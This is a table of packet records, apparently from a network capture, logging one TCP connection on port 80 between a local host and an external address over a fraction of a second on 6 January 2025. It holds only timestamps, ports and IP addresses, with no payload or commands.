Jan 6, 2025 07:54:02.754123926 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.754189014 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.799916983 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.799942017 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.799953938 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.799988031 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.799998999 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.800071001 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.800080061 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.800092936 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.800106049 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.800138950 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.800141096 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.800187111 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.800501108 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.800513029 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.800527096 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.800539017 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.800559044 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.800606012 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.800791979 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.800803900 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.800815105 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.800826073 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.800837040 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.800848007 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.800848007 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.801218033 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.801229954 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.801240921 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.801258087 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.801273108 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.801285028 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.801296949 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.801306009 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.801341057 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.801341057 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.801377058 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.801397085 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.801408052 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.801438093 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.802030087 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.802041054 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.802104950 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.838618994 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.838677883 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.838690042 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.838696003 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.838702917 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.838727951 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.838767052 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.838838100 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.838850021 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.838857889 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.838860989 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.838872910 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.838886023 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.838943958 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.839160919 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.839205980 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.839216948 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.839227915 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.839250088 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.839251041 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.839278936 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.839303017 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.839319944 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.839330912 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.839345932 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.839405060 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.839761019 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.839777946 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.839852095 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.839863062 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.839873075 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.839885950 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.839912891 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.840157032 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.840176105 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.840200901 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.840212107 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.840238094 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.840240955 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.840253115 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.840270996 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.840307951 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.840313911 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.840322018 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.840333939 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.840375900 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.840384007 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.840384007 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.840424061 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.840475082 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.841078043 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.841099024 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.841149092 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.841159105 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.841171026 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.841190100 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.841207027 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.841213942 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.841217995 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.841269970 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.841291904 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.841310024 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.841320992 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.841331959 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.841347933 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.841381073 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.842014074 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.842035055 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.842046022 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.842071056 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.842088938 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.842097044 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.842101097 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.842118979 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.842148066 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.882276058 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.882289886 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.882301092 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.882364035 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.882443905 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.886653900 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.886665106 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.886682034 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.886693954 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.886704922 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.886713982 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.886719942 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.886773109 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.886821032 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.886867046 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.886879921 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.886888981 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.886926889 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.886997938 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.887038946 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.887051105 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.887063980 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.887089014 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.887100935 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.887101889 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.887157917 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.887327909 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.887345076 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.887356997 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.887367010 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.887383938 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.887394905 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.887406111 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.887411118 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.887411118 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.887418985 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.887430906 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.887459993 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.887473106 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.887820959 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.887837887 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.887850046 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.887864113 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.887900114 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.887943983 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.887957096 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.888020039 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.888025999 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.888036966 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.888065100 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.888076067 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.888077974 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.888087988 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.888147116 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.888148069 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.888161898 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.888174057 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.888184071 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.888200045 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.888206959 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.888211012 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.888223886 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.888236046 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.888264894 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.888763905 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.888806105 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.888823032 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.888834953 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.888848066 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.888861895 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.888881922 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.888891935 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.888904095 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.888915062 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.888942957 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.888953924 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.888957024 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.888966084 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.888976097 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.889003038 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.889010906 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.889023066 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.889038086 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.889049053 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.889076948 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.889076948 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.925429106 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.925453901 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.925467014 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.925477028 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.925488949 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.925498962 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.925518990 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.925523996 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.925530910 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.925543070 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.925568104 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.925622940 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.925649881 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.925668955 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.925690889 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.925728083 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.925771952 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.925785065 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.925796986 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.925806046 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.925842047 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.925863028 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.926032066 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.926043987 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.926054001 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.926064968 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.926074982 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.926085949 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.926089048 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.926101923 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.926120043 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.926155090 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.926219940 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.926232100 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.926243067 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.926275015 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.926287889 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.926304102 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.926316023 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.926327944 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.926342964 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.926368952 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.926379919 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.926392078 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.926403046 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.926414967 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.926424980 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.926448107 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.926461935 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.926464081 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.926469088 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.926515102 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.926876068 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.926888943 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.926898956 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.926914930 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.926928997 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.926939964 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.926950932 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.926961899 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.926963091 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.926963091 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.926975012 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.926996946 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.927052975 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.927156925 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.927169085 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.927176952 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.927234888 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.927247047 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.927251101 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.927284956 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.927297115 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.927316904 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.927329063 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.927330017 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.927340031 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.927377939 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.927409887 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.927423000 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.927479029 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.969449043 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.969465017 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.969475031 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.969485998 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.969496965 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.969507933 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.969518900 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.969525099 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.969614983 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.973521948 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.973535061 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.973547935 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.973563910 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.973576069 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.973581076 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.973608971 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.973620892 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.973632097 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.973642111 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.973676920 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.973701954 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.973767996 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.973778963 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.973786116 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.973789930 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.973814964 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.973824978 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.973826885 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.973860025 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.973886967 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.973898888 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.973956108 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.973990917 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.974010944 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.974020958 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.974033117 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.974035025 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.974075079 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.974107981 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.974121094 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.974131107 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.974143028 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.974169016 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.974169016 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.974351883 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.974368095 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.974380016 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.974427938 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.974427938 CET	49710	80	192.168.2.5	147.124.216.113
Jan 6, 2025 07:54:02.974469900 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.974482059 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.974493027 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.974502087 CET	80	49710	147.124.216.113	192.168.2.5
Jan 6, 2025 07:54:02.974534035 CET	49710	80	192.168.2.5	147.124.216.113
